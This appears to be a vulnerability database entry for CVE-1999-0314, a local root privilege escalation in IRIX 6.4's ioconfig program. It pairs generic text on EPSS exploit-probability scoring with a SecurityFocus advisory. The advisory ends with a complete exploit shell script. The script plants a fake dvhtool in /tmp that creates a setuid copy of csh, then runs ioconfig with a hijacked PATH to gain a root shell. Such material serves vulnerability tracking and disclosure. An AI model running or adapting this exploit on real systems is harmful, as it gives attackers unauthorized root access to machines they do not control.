CVE-1999-0314 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/213/info A vulnerability exists in the ioconfig program, as shipping with IRIX 6.4 S2MP from Silicon Graphics, Inc. This program is only available on Irix 6.4 for the Origin/Onyx2. Other machines running IRIX are not vulnerable. This vulnerability will allow a local user to obtain root priveledges. The ioconfig program will make calls to the system() call without setting the path to be used; this allows an attacker to alter their path to cause ioconfig to execute arbitrary programs. #!/bin/sh # # Irix 6.4 ioconfig xploit - Loneguard 04/12/97 # # Simple xploit making use of stupid system calls to programs without using # a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth. # cat > /tmp/dvhtool << 'EOF' #!/bin/sh /sbin/cp /bin/csh /tmp/xsh /sbin/chmod 14755 /tmp/xsh EOF /sbin/chmod 700 /tmp/dvhtool PATH=/tmp:$PATH /sbin/ioconfig -f /hw
